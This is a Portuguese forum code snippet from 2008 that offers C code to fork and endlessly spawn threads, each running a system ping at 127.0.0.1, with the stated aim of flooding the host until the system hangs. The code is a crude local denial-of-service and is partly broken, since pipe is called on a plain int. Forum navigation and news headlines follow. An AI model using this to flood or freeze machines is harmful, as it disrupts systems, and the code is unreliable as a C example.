Vários pacotes de ping disparados contra o host
Publicado por Geraldo José Ferreira Chagas Júnior 14/07/2008
[ Hits: 6.611 ]
Homepage: http://prginfo.blogspot.com
O host responderá a vários pacotes de ping que serão disparados contra eles, sem perceber que assim irá travar o sistema.
Será executado o ping do sistema, que já é um loop infinito, tendo que ser executado em uma thread para não deixar o nosso loop parado esperando seu término. O ping do sistema também retorna uma saída, que não queremos que seja mostrada na tela, tendo assim que ser redirecionada para o pipe.
/* progacao4.c */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> void ping(char *host); /* para usar a função na thread o cabeçalho da função deve estar declarado */ acao() { int return_thread; pthread_t thread; while (1) { return_thread=pthread_create (&thread, NULL, (void *)ping,"ping -s 400 127.0.0.1"); /* criando a thread */ usleep (10); /* já explicado no exemplo 2 */ } } main () /* o main já foi esplicado no exemplo 1 */ { int i; i=fork(); if (i==0) acao(); } void ping (char *host) { int desc; close(1); pipe (desc); /* o pipe já foi esplicado no exemplo 1 */ system (host); /* executa um comando do sistema (ping, ls, rm, mv etc.) */ }
Distribuição Eletronica de Elementos Químicos em C++
Função para exibir todos os divisores de um numero
Wayland em alta, IA em debate e novos ventos para distros e devices
Qt 6.10 e Python 3.14 puxam o ritmo do software livre nesta quarta
Atualizações de Apps, Desktop e Kernel agitam o ecossistema Linux nesta terça-feira
Miyoo Mini Plus + Onion OS (Linux)
IA local no bolso, novo visual no Raspberry Pi OS e mais destaques do software livre
Como mudar o nome de dispositivos Bluetooth via linha de comando
Adicionando o repositório backports no Debian 13 Trixie
Warcraft II Reforged no Linux? (0)
Erro ao fazer remaster usando Penguin eggs (0)
queria saber como instalar o android power tools igual ao winux no lin... (7)